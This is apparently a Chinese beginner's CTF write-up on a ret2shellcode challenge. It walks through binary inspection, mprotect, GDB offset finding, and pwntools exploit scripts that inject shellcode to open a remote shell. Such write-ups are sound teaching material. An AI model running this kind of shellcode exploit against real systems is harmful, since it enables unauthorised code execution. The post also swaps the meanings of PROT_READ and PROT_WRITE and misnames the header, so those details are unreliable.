本蒟蒻的ret2shellcode的开篇之作!
第一次实战ret2shellcode,该类型的简单题但是也研究了很久!
目录
前言
一、checksec查看二进制文件
二、查找后门函数
三、IDA反汇编
bss段
mprotect()函数
四、GDB调试
GDB基本的一些用法
偏移量计算
五、exp
shellcode获取
context
总结
前言
ret2shellcode——顾名思义,控制执行流到shellcode
在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?
依此,主要的过程如下:
(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限
(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码
写在前面
在按部就班地进行尝试过程中,总结了一些知识和方法,其中有一些因为个人的萌新蒟蒻水平,是未知错误,尚不能解决,但是复现给大家,也许大家比较清楚个中问题。
下面将复现我的实现过程
一、checksec查看二进制文件
二、查找后门函数
按照我们的思路(虽然题目很明显在提示,但是这步在逻辑上是不可或缺的),看看有没有后门函数供我们ret2text
objdump -t XXX 查看程序中使用到的函数
objdump -d XXX 查看程序中函数的汇编代码
objdump -d -M intel XXX 查看程序中函数的汇编代码,并且汇编代码是intel架构的
objdump -d -j .plt XXX 查看plt表
-j的参数有:.text 代码段
.const 只读数据段(有些编译器不使用此段,将只读数据并入.data段)
.data 读写数据段
.bss bss段
下面还有好多没有截屏出来,but没有我们期待的后门函数——那么ret2text应该就是不行的,尝试如题目的,ret2shellcode
三、IDA反汇编
F5大法
一眼read危险函数,存在栈溢出,非常好。然后将s复制到buff里,buff在哪里呢?bss段
bss段
在采用段式内存管理的架构中(比如 intel 的 80x86 系统),bss 段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时 bss 段部分将会清零(bss 段属于静态内存分配,即程序一开始就将其清零了)。比如,在 C 语言程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。
简单来说,定义而没有赋初值的全局变量和静态变量 , 放在这个区域
程序主要溢出部分我们理清了,可是回顾之前的checksec,这个二进制文件是NX enabled的,不可执行保护啊!怎么办??——话说第8行代码mprotect(...)是什么意思?
mprotect()函数
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
——详情点这里
也就是说,部分地址在经过这一句代码后,保护属性变成了可执行! 因此可以用ret2shellcode!
四、GDB调试
原本其实对GDB并不熟悉,想着也借着这个机会好好学习一下基本用法。为这么突然要用GDB调试呢?主要是对bss段以及什么地方返回不清楚——好像偏移量可以通过报错来显示
GDB基本的一些用法
说一下本次用到的GDB的一些基本用法
next/n 单步调试
next/n [num] 单步跳过num步
b main 在main函数处设置断点
vmmap 查看各段属性/rxw
run/r 运行程序
我们先来尝试调试一下,顺便看看是否段保护属性值真的发生了变化
在main函数处下断点
r(run)开始运行
vmmap查看各段保护
buff所在的段
为 rw-p 可读写不可执行
n 30 单步调试30次后
此时已经执行过mprotect函数,我们再vmmap查看一下保护情况
gdb贴心的标红了,此时已经有可执行权限,因此我们ret2shellcode也是可行的。
偏移量计算
插件——pwngdb 和 peda,我用的是peda
那么怎么通过报错来显示偏移量呢?
- pwndbg
- cyclic 200
- cyclic -l 异常地址
- peda
- pattern create 200
- pattern offset 异常地址
输入过量的数据覆盖EIP,然后在dbg调试中的异常地址,即可找到偏移量,这篇博客说明了用法。
然而,我却遇到了问题
pattern create构造400个字符,然后复制粘贴给read(运行到了read函数处会等待输入,此时复制粘贴到n下一行(卡住了等待输入),注意不要单引号)
异常地址0x40125c
pattern offset 0x40125c企图得到偏移量
哦吼,失败了~~不知道有没有大佬说一下why
——后来通过别人的wp,好像偏移量就是
buff 256个字节 + 8个字节64位程序的ebp(?) + ret
【不太明白】
不管辽,开始exp编写
五、exp
shellcode获取
获取Shellcode的两种方法:
- 手写(初学时推荐手写):想办法调用execve("/bin/sh",null,null)
传入字符串:/bin///sh (why /// 三个不晓得,求助)
系统调用execve
- pwntools自动生成(比赛时使用这种方法)
先指定context.arch="i386/amd64" (context稍后细🔒)
asm(自定义shellcode)
asm(shellcraft.sh())自动生成shellcode
from pwn import *
r = remote(" ",port) #远程连接,“”网址,port填端口号
buff_addr=0x4040a0
shellcode = asm(shellcraft.sh())
bias=0x100+0x8 # 256+8
payload = shellcode.ljust(bias,b'a')+p64(buff_addr)
r.sendline(payload)
r.interactive()
但是连接时似乎出了问题。。。
不回显!!淦,直接退出。。。
context
context 是 pwntools 用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。
一般来说我们设置context只需要简单的一句话:
context(os='linux', arch='amd64', log_level='debug')
或者 context(os='linux', arch='amd64')
———点这里
1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
————————————————
不知道是不是没有设置context的缘故,but试一试呗~
from pwn import *
context.os='Linux'
context.arch='amd64'
context.log_level='debug'
r = remote(" ",port) #远程连接,“”网址,port填端口号
buff_addr=0x4040a0
shellcode = asm(shellcraft.sh())
bias=0x100+0x8 # 256+8
payload = shellcode.ljust(bias,b'a')+p64(buff_addr)
r.sendline(payload)
r.interactive()
运行一下~
哦吼,flag出来了 !!应该就是要配置一下context的缘故吧!养成这个习惯!
总结
虽然这是一题“非常简单“的ret2shellcode,但是对于本萌新来说,第一次做ret2shellcode,有必要认真的总结一下做题规律。
在这些尝试中,确实学到了好多好多东西,与诸君共勉!